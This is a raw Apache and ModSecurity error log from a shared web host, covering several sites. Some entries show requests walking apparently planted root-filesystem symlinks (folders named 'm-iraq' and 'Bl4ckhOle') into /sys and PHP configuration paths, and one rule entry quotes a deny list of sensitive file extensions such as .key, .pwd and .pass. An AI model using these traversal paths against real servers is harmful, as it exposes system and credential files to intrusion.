[Fri Jul 17 09:13:34.409532 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/firmware/dmi/entries/4-1/instance
[Fri Jul 17 09:13:34.767618 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:34.866708 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:35.362778 2026] [autoindex:error] [pid 2032156:tid 2032156] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:35.472974 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:35.473036 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:35.473073 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:36.086188 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/subsystem/drivers/ec/bind
[Fri Jul 17 09:13:36.086565 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:37.518489 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:56692] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:38.123485 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:38.581661 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:57066] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:39.028187 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:39.597198 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:57202] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:39.907997 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:40.040264 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:40.475472 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty34/subsystem/tty63/dev"] [unique_id "almk7I-0g_VSPeIeFN3DcQAAAAs"]
[Fri Jul 17 09:13:40.475517 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty34/subsystem/tty63/dev"] [unique_id "almk7I-0g_VSPeIeFN3DcQAAAAs"]
[Fri Jul 17 09:13:41.204476 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/tty39/uevent"] [unique_id "almk7boj0IkvhSCYadmEnwAAAAQ"]
[Fri Jul 17 09:13:41.204512 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/tty39/uevent"] [unique_id "almk7boj0IkvhSCYadmEnwAAAAQ"]
[Fri Jul 17 09:13:41.425381 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:39368] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:41.944186 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:41.970423 2026] [autoindex:error] [pid 2018741:tid 2018741] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:42.101019 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:39412] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:42.586233 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:43.274971 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:43.377364 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:43.417443 2026] [autoindex:error] [pid 2019501:tid 2019501] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:43.701473 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:44.206336 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:44.981001 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:45.015272 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:39526] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:45.134366 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:45.431080 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:45.957547 2026] [ssl:error] [pid 2034024:tid 2034024] (5)Input/output error: [client 66.85.158.91:39564] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:46.286997 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/ttyS3/line
[Fri Jul 17 09:13:46.421215 2026] [autoindex:error] [pid 2013809:tid 2013809] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:47.575029 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:47.771686 2026] [autoindex:error] [pid 2030774:tid 2030774] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/blocks/block/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:48.048891 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almk9LEWOaI5pmYo9fnRoQAAAAA"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:13:48.048924 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almk9LEWOaI5pmYo9fnRoQAAAAA"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:13:48.096427 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:48.387364 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:39754] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:48.397634 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:48.483239 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:48.573965 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almk9F1_86A5R6msWNfXQwAAABI"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:13:48.574111 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almk9F1_86A5R6msWNfXQwAAABI"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:13:48.606240 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:48.609722 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:48.765882 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:49.270363 2026] [autoindex:error] [pid 2031172:tid 2031172] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:50.132957 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.204921 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:39848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:50.273963 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.273995 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.318348 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 47.82.15.235:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/116:5/device/device/subsystem/drivers/8250_mid/bind
[Fri Jul 17 09:13:50.344711 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.543815 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.615191 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.673624 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.715102 2026] [security2:error] [pid 2030774:tid 2030774] [client 47.82.48.98:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/sysvmsg.ini"] [unique_id "almk9hHlOGcokz2QIwTWLwAAAAM"]
[Fri Jul 17 09:13:50.715671 2026] [security2:error] [pid 2030774:tid 2030774] [client 47.82.48.98:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/sysvmsg.ini"] [unique_id "almk9hHlOGcokz2QIwTWLwAAAAM"]
[Fri Jul 17 09:13:50.745637 2026] [autoindex:error] [pid 2029579:tid 2029579] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:50.754841 2026] [security2:error] [pid 2030774:tid 2030774] [client 47.82.48.98:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/sysvmsg.ini"] [unique_id "almk9hHlOGcokz2QIwTWLwAAAAM"]
[Fri Jul 17 09:13:50.770423 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.842995 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.886979 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.927029 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:50.960146 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:39870] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:51.110850 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:51.276455 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:51.397465 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:51.455062 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:51.488189 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/subsystem/drivers/pvpanic/bind
[Fri Jul 17 09:13:51.595972 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:52.357805 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:52.727505 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:39746] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:52.891594 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:53.080097 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:53.089726 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:53.175902 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:53.186844 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:53.319685 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:53.385782 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:53.510349 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:53.638254 2026] [security2:error] [pid 2018768:tid 2018768] [client 20.195.181.252:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-global": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-content/index.php"] [unique_id "almk-VCBpfuYyhJ140vVoQAAAB4"]
[Fri Jul 17 09:13:53.638294 2026] [security2:error] [pid 2018768:tid 2018768] [client 20.195.181.252:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-ip": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-content/index.php"] [unique_id "almk-VCBpfuYyhJ140vVoQAAAB4"]
[Fri Jul 17 09:13:53.654930 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:53.740752 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:39830] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:53.807402 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:54.134483 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:54.292168 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:54.306697 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 47.82.8.67:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/pnp/devices/00:04/subsystem/uevent
[Fri Jul 17 09:13:54.427472 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:54.758088 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:54.862301 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:55.251626 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:55.543000 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almk-kgVnBK6wAv37w6vhQAAABQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1022&page_105=1563
[Fri Jul 17 09:13:55.543029 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almk-kgVnBK6wAv37w6vhQAAABQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1022&page_105=1563
[Fri Jul 17 09:13:55.648366 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:55.929602 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:56.378951 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:56.478789 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:56.478937 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:56.842531 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:57.012979 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:57.066426 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:57.144964 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:57.314473 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:57.339490 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:57.495244 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:57.570220 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:57.671662 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup11/device/device:0e/eject
[Fri Jul 17 09:13:58.139394 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:58.242662 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/ttyS1/uartclk
[Fri Jul 17 09:13:58.477692 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:58.609876 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:58.818461 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:59.050796 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:59.175195 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:40126] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:59.258330 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:59.556227 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almk_g7FYe46zHK_jL3S3QAAABk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1213&page_105=2205
[Fri Jul 17 09:13:59.556270 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almk_g7FYe46zHK_jL3S3QAAABk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1213&page_105=2205
[Fri Jul 17 09:13:59.565431 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:59.774271 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:59.978120 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/ttyS2/line
